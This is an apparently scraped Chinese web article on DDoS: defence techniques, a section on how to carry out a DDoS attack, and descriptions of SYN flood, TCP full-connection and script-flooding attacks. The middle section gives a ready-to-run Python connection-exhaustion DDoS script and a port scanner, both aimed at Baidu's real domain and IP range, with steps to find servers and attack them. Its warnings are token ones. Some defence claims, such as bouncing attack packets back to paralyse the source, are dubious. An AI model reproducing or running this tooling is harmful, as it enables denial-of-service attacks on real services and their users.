文章大纲：

• 1、DDoS攻击有哪些防御 *** ？怎么做好防御工作
• 2、如何进行DDOS攻击怎么做
• 3、 *** 安全技术 常见的DDoS攻击 *** 有哪些

DDoS攻击有哪些防御 *** ？怎么做好防御工作

DDoS攻击防御 ***

1. 过滤不必要的服务和端口：可以使用Inexpress、Express、Forwarding等工具来过滤不必要的服务和端口，即在路由器上过滤假IP。比如Cisco公司的CEF(Cisco Express Forwarding)可以针对封包Source IP和Routing Table做比较，并加以过滤。只开放服务端口成为目前很多服务器的流行做法，例如WWW服务器那么只开放80而将其他所有端口关闭或在防火墙上做阻止策略。

2. 异常流量的清洗过滤：通过DDOS硬件防火墙对异常流量的清洗过滤，通过数据包的规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常，进一步将异常流量禁止过滤。单台负载每秒可防御800-927万个syn攻击包。

3. 分布式集群防御：这是目前 *** 安全界防御大规模DDOS攻击的最有效办法。分布式集群防御的特点是在每个节点服务器配置多个IP地址（负载均衡），并且每个节点能承受不低于10G的DDOS攻击，如一个节点受攻击无法提供服务，系统将会根据优先级设置自动切换另一个节点，并将攻击者的数据包全部返回发送点，使攻击源成为瘫痪状态，从更为深度的安全防护角度去影响企业的安全执行决策,目前百度云加速就使用这种方式，提供四到七层的DDoS攻击防护，包括CC、SYN flood、UDP flood等所有DDoS攻击方式， 通过分布式高性能防火墙+精准流量清洗+CC防御+WEB攻击拦截，组合过滤精确识别，有效防御各种类型攻击。相关链接

4. 高防智能DNS解析：高智能DNS解析系统与DDOS防御系统的完美结合，为企业提供对抗新兴安全威胁的超级检测功能。它颠覆了传统一个域名对应一个镜像的做法，智能根据用户的上网路线将DNS解析请求解析到用户所属 *** 的服务器。同时智能DNS解析系统还有宕机检测功能，随时可将瘫痪的服务器IP智能更换成正常服务器IP，为企业的 *** 保持一个永不宕机的服务状态。

DDoS攻击的 *** 流量清洗

当发生DDOS攻击时， *** 监控系统会侦测到 *** 流量的异常变化并发出报警。在系统自动检测或人工判断之后，可以识别出被攻击的虚拟机公网IP地址。这时，可调用系统的防DDOS攻击功能接口，启动对相关被攻击IP的流量清洗。流量清洗设备会立即接管对该IP地址的所有数据包，并将攻击数据包清洗掉，仅将正常的数据包转发给随后的 *** 设备。这样，就能保证整个 *** 正常的流量通行，而将DDOS流量拒之门外。

采用云DDoS清洗方式，可以为企业用户带来诸多好处。其表现在不仅可以提升综合防护能力，用户能够按需付费，可弹性扩展，而且还能够基于大数据来分析预测攻击，同时能够免费升级。对于企业用户来说，则可实现零运维、零改造。

如何进行DDOS攻击怎么做

会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可

代码：

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。

所以，更好用Windows里的PING进行检测

操作：

在Windows搜索栏里输入：cmd

输入：

ping -n 10 -l 1 baidu.com

//这里拿百度做示范，别真打百度！

那么，就会发现，系统反映了：

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms，最长 = 29ms，平均 = 27ms

说明，百度的服务器有一个主服务器是39.156.69.79

那么，就来查找百度的所有服务器吧！

输入以下代码：

#绝大多数成功的 *** 攻击都是以端口扫描开始的，在 *** 安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否

#开放了指定端口，进一步判断主机是否运行了某些重要的 *** 服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池，允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程，同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池，close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

你会发现，Python反映了：

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！

接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！

*** 安全技术 常见的DDoS攻击 *** 有哪些

常见的DDoS攻击 *** 有：

1、SYN/ACK Flood攻击

这种攻击 *** 是经典最有效的DDOS攻击 *** ，可通杀各种系统的 *** 服务，主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包，导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务，由于源都是伪造的故追踪起来比较困难，缺点是实施起来有一定难度，需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问，但却可以Ping的通，在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态，大量的这种攻击会导致Ping失败、TCP/IP栈失效，并会出现系统凝固现象，即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

2、TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的，一般情况下，常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力，但对于正常的TCP连接是放过的，殊不知很多 *** 服务程序（如：IIS、Apache等Web服务器）能接受的TCP连接数是有限的，一旦有大量的TCP连接，即便是正常的，也会导致网站访问非常缓慢甚至无法访问，TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接，直到服务器的内存等资源被耗尽而被拖跨，从而造成拒绝服务，这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的，缺点是需要找很多僵尸主机，并且由于僵尸主机的IP是暴露的，因此此种DDOS攻击方式容易被追踪。

3、刷Script脚本攻击

这种攻击主要是针对存在ASP、 *** P、PHP、CGI等脚本程序，并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的，特征是和服务器建立正常的TCP连接，并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用，典型的以小博大的攻击 *** 。一般来说，提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的，而服务器为处理此请求却可能要从上万条记录中去查出某个记录，这种处理过程对资源的耗费是很大的，常见的数据库服务器很少能支持数百个查询指令同时执行，而这对于客户端来说却是轻而易举的，因此攻击者只需通过Proxy *** 向主机服务器大量递交查询指令，只需数分钟就会把服务器资源消耗掉而导致拒绝服务，常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护，轻松找一些Proxy *** 就可实施攻击，缺点是对付只有静态页面的网站效果会大打折扣，并且有些Proxy会暴露DDOS攻击者的IP地址。